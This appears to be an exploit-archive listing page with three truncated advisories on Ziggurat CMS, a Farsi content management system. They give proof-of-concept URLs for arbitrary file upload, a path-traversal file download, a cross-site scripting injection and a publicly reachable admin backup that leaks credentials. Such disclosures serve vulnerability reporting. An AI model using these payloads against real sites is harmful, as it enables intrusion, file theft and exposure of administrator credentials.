Ziggurat CMS Multiple Vulnerabilities

Securitylab.ir Application Info: Name: Ziggurat CMS Vendor: http://www.farsi-cms.com Vulnerability: Arbitrary File Upload http://site.com/manager/upload.asp Remote File Download http://site.com/manager/backup.asp?bck=./../file.asp Cross Site Scripting http://site.com/index.asp?id=script"xss"/scri...

Ziggurat CMS File Upload / Download / Cross Site Scripting

Securitylab.ir Application Info: Name: Ziggurat CMS Vendor: http://www.farsi-cms.com Vulnerability: Arbitrary File Upload http://site.com/manager/upload.asp Remote File Download http://site.com/manager/backup.asp?bck=./../file.asp Cross Site Scripting http://site.com/index.asp?id="xss" 2010-04-10...

Ziggurat CMS Information Disclosure

--------------------------------------------------------- Portal Name: Ziggurat CMS Vendor : http://www.tagfa.com Author : PouyaServer , [email protected] --------------------------------------------------------- xpl: http://www.site.com/dbadmin/adminBU.fc.txt Admin user + PasswordMD5...